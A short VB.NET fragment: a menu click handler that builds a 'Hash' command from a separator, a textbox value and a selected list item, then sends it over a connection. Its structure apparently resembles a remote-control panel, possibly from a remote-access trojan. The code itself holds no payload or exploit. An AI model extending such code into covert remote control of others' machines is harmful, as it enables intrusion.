Private Sub FileHashToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FileHashToolStripMenuItem.Click
|
|
Dim B As Byte() = SB("Hash" & SettingsHelper.SPL & Guna2TextBox1.Text & ListView1.FocusedItem.Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
End Class |